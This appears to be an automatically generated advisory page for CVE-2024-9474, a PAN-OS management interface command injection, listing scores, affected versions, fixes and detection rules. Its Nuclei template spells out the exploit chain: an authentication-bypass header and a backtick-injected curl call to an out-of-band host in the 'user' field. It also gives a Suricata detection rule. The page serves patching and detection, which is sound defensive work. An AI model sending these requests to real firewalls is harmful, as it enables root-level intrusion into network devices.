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CVE-2024-9474: Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and Prisma Access are not impacted by this vulnerability.

Description quoted from the CVE record (assigned by palo_alto, published 2024-11-18).

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing high privileges and no user interaction. Impact: confidentiality none, integrity high, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:H/U:Red

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2024-11-18
US federal deadline
2024-12-09
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2024-09891, CNNVD-202411-2345, CNVD-2024-46250, EUVD-2024-15815, EUVD-2024-50354, GHSA-cgvw-jh5j-mgq3, GHSA-mw9x-2qwv-599p

VEDAS cluster: VEDAS:DRAGONSTRIKE

Exploit Observer links 20 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (20)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (4)

Vulnerability databases and vendor advisories (10)

Catalogue entries, not exploit evidence.

308 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.938
very likely to be attacked soon
VEDAS
0.987
strong exploit evidence
On CISA KEV
Yes, since 2024-11-18
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2024-9474 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2024-9474 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Palo Alto Networks Cloud NGFWNot statedAll is not affected
Palo Alto Networks PAN-OSfrom 11.2.0 before 11.2.4-h1
from 11.1.0 before 11.1.5-h1
from 11.0.0 before 11.0.6-h1
from 10.2.0 before 10.2.12-h2
from 10.1.0 before 10.1.14-h6		Not stated
Palo Alto Networks Prisma AccessNot statedAll is not affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: palo_alto_networks_inc. pan-os, paloaltonetworks pan-os.

How to fix it

Fixed versions stated in the CVE record: 11.2.4-h1, 11.1.5-h1, 11.0.6-h1, 10.2.12-h2, 10.1.14-h6.

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, the management interfaces for affected devices should not be exposed to untrusted networks, including the internet.

Vendor guidance:

How to detect it

Nuclei template (active check)

Panos - Command Injection

A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and Prisma Access are not impacted by this vulnerability.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map, POST /php/utils/createRemoteAppwebSession.php/{{rand}}.js.map, GET /index.php/.js.map); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, regex, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2024-9474.yaml
Show the template (80 lines)
yaml
id: CVE-2024-9474

info:
  name: "Panos - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with
    access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and
    Prisma Access are not impacted by this vulnerability.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-9474&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=panos&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2024-9474
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2024,panos,rce,kev,vkev,vuln
flow: http(1) && http(2) && http(3)

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "0.0.0")'
          - 'contains_all(header, "Expires: 0", "PHPSESSID=", "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /php/utils/createRemoteAppwebSession.php/{{rand}}.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off
        Content-Type: application/x-www-form-urlencoded

        user=`curl+{{interactsh-url}}`&userRole=superuser&remoteHost=&vsys=vsys1

    matchers:
      - type: word
        part: body
        words:
          - "@start@PHPSESSID="
        internal: true

    extractors:
      - type: regex
        part: body
        name: phpsessid
        group: 1
        regex:
          - '@start@PHPSESSID=(.*?)@end@'
        internal: true

  - raw:
      - |
        GET /index.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{phpsessid}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "panos")'
        condition: and

CVE-2024-9474.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-9474 Panos - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-9474 Panos - Command Injection"; flow:established,to_server; http.uri; content:"/php/utils/CmsGetDeviceSoftwareVersion.php/.js.map"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-9474; reference:url,https://www.exploit.observer/?keyword=CVE-2024-9474&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=panos&match=exact; sid:1009539; rev:1;)

CVE-2024-9474.rules on GitHub

Advisories on this CVE

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.